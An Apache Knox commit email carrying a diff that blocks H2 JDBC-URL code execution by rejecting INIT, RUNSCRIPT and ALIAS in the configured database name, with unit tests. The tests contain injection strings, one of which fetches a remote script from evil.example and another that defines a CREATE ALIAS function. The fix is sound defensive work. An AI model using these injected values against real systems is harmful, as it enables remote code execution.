You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@knox.apache.org by sm...@apache.org on 2026/09/09 07:30:37 UTC

(knox) branch master updated: KNOX-3442: Reject INIT/RUNSCRIPT/ALIAS in H2 database name to prevent JDBC-URL code execution (#1383)

This is an automated email from the ASF dual-hosted git repository.

smolnar82 pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/knox.git


The following commit(s) were added to refs/heads/master by this push:
     new 38cc0f47b KNOX-3442: Reject INIT/RUNSCRIPT/ALIAS in H2 database name to prevent JDBC-URL code execution (#1383)
38cc0f47b is described below

commit 38cc0f47bf384324cc1a7e77104227c1da8d57bf
Author: Sandor Molnar <sm...@apache.org>
AuthorDate: Wed Sep 9 09:30:32 2026 +0200

    KNOX-3442: Reject INIT/RUNSCRIPT/ALIAS in H2 database name to prevent JDBC-URL code execution (#1383)
---
 .../knox/gateway/database/H2DataSourceFactory.java | 36 +++++++++++++++++++++-
 .../gateway/database/DataSourceProviderTest.java   | 34 ++++++++++++++++++++
 2 files changed, 69 insertions(+), 1 deletion(-)

diff --git a/gateway-server/src/main/java/org/apache/knox/gateway/database/H2DataSourceFactory.java b/gateway-server/src/main/java/org/apache/knox/gateway/database/H2DataSourceFactory.java
index c1dae50ee..1b66fb852 100644
--- a/gateway-server/src/main/java/org/apache/knox/gateway/database/H2DataSourceFactory.java
+++ b/gateway-server/src/main/java/org/apache/knox/gateway/database/H2DataSourceFactory.java
@@ -24,6 +24,7 @@ import org.h2.jdbcx.JdbcDataSource;
 
 import javax.sql.DataSource;
 import java.sql.SQLException;
+import java.util.regex.Pattern;
 
 /**
  * Builds a {@link DataSource} for the H2 database. In the self-provisioning embedded case the
@@ -43,10 +44,21 @@ public class H2DataSourceFactory extends AbstractDataSourceFactory {
 
     private static final String ENCRYPTED_URL_POSTFIX = ";CIPHER=AES";
 
+    /**
+     * H2 connection settings that let a URL execute arbitrary code: {@code INIT} runs SQL on connect
+     * (typically {@code RUNSCRIPT FROM '<url>'}), and {@code CREATE ALIAS ... AS '<java>'} defines a
+     * Java-backed function. {@code gateway.database.name} flows verbatim into the JDBC URL, so these
+     * tokens are rejected (case-insensitively, as whole words) before the URL is built. Legitimate
+     * settings such as {@code DB_CLOSE_DELAY}, {@code AUTO_SERVER} or {@code CIPHER} are unaffected.
+     */
+    private static final Pattern FORBIDDEN_H2_SETTINGS = Pattern.compile("(?i)\\b(INIT|RUNSCRIPT|ALIAS)\\b");
+
     @Override
     public DataSource createDataSource(GatewayConfig gatewayConfig, AliasService aliasService) throws AliasServiceException, SQLException {
         final JdbcDataSource dataSource = new JdbcDataSource();
-        String url = "jdbc:h2:" + gatewayConfig.getDatabaseName();
+        final String databaseName = gatewayConfig.getDatabaseName();
+        rejectForbiddenH2Settings(databaseName);
+        String url = "jdbc:h2:" + databaseName;
         final String userPassword = getDatabasePassword(aliasService);
 
         dataSource.setUser(getDatabaseUser(aliasService));
@@ -67,4 +79,26 @@ public class H2DataSourceFactory extends AbstractDataSourceFactory {
         dataSource.setUrl(url);
         return dataSource;
     }
+
+    /**
+     * Rejects an H2 database name whose connection settings (the portion after the first {@code ';'})
+     * contain an {@code INIT}, {@code RUNSCRIPT} or {@code ALIAS} token, any of which H2 can use to run
+     * arbitrary code from the JDBC URL. The location portion is not inspected so that file paths and
+     * {@code mem:} names remain valid regardless of their content.
+     */
+    private void rejectForbiddenH2Settings(String databaseName) throws SQLException {
+        if (databaseName == null) {
+            return;
+        }
+        final int settingsStart = databaseName.indexOf(';');
+        if (settingsStart < 0) {
+            return;
+        }
+        final String settings = databaseName.substring(settingsStart + 1);
+        if (FORBIDDEN_H2_SETTINGS.matcher(settings).find()) {
+            throw new SQLException("Refusing to build the H2 connection URL: gateway.database.name contains a disallowed "
+                    + "connection setting (INIT/RUNSCRIPT/ALIAS), which H2 can use to execute arbitrary code. "
+                    + "Remove it from the configured database name.");
+        }
+    }
 }
diff --git a/gateway-server/src/test/java/org/apache/knox/gateway/database/DataSourceProviderTest.java b/gateway-server/src/test/java/org/apache/knox/gateway/database/DataSourceProviderTest.java
index ea5c862f5..01f816125 100644
--- a/gateway-server/src/test/java/org/apache/knox/gateway/database/DataSourceProviderTest.java
+++ b/gateway-server/src/test/java/org/apache/knox/gateway/database/DataSourceProviderTest.java
@@ -189,6 +189,40 @@ public class DataSourceProviderTest {
     assertThrows(SQLException.class, () -> DataSourceProvider.getDataSource(gatewayConfig, aliasService));
   }
 
+  @Test
+  public void h2DatabaseNameWithValidConnectionSettingsIsAccepted() throws Exception {
+    final GatewayConfig gatewayConfig = EasyMock.createNiceMock(GatewayConfig.class);
+    EasyMock.expect(gatewayConfig.getDatabaseType()).andReturn(DatabaseType.H2.type()).anyTimes();
+    EasyMock.expect(gatewayConfig.getDatabaseName()).andReturn("mem:knox;DB_CLOSE_DELAY=-1").anyTimes();
+    EasyMock.expect(gatewayConfig.isDatabaseH2EncryptionEnabled()).andReturn(false).anyTimes();
+    final AliasService aliasService = EasyMock.createNiceMock(AliasService.class);
+    EasyMock.expect(aliasService.getPasswordFromAliasForGateway(EasyMock.anyString())).andReturn(null).anyTimes();
+    EasyMock.replay(gatewayConfig, aliasService);
+    final JdbcDataSource dataSource = (JdbcDataSource) DataSourceProvider.getDataSource(gatewayConfig, aliasService);
+    assertEquals("jdbc:h2:mem:knox;DB_CLOSE_DELAY=-1", dataSource.getUrl());
+  }
+
+  @Test
+  public void h2DatabaseNameWithInitRunscriptIsRejected() throws Exception {
+    assertH2DatabaseNameRejected("mem:knox;INIT=RUNSCRIPT FROM 'http://evil.example/x.sql'");
+  }
+
+  @Test
+  public void h2DatabaseNameWithCreateAliasIsRejected() throws Exception {
+    assertH2DatabaseNameRejected("mem:knox;init=CREATE ALIAS EXEC AS 'String x() { return \"\"; }'");
+  }
+
+  private void assertH2DatabaseNameRejected(String databaseName) throws Exception {
+    final GatewayConfig gatewayConfig = EasyMock.createNiceMock(GatewayConfig.class);
+    EasyMock.expect(gatewayConfig.getDatabaseType()).andReturn(DatabaseType.H2.type()).anyTimes();
+    EasyMock.expect(gatewayConfig.getDatabaseName()).andReturn(databaseName).anyTimes();
+    EasyMock.expect(gatewayConfig.isDatabaseH2EncryptionEnabled()).andReturn(false).anyTimes();
+    final AliasService aliasService = EasyMock.createNiceMock(AliasService.class);
+    EasyMock.expect(aliasService.getPasswordFromAliasForGateway(EasyMock.anyString())).andReturn(null).anyTimes();
+    EasyMock.replay(gatewayConfig, aliasService);
+    assertThrows(SQLException.class, () -> DataSourceProvider.getDataSource(gatewayConfig, aliasService));
+  }
+
   @Test
   public void shouldReturnMySqlDataSource() throws Exception {
     final GatewayConfig gatewayConfig = EasyMock.createNiceMock(GatewayConfig.class);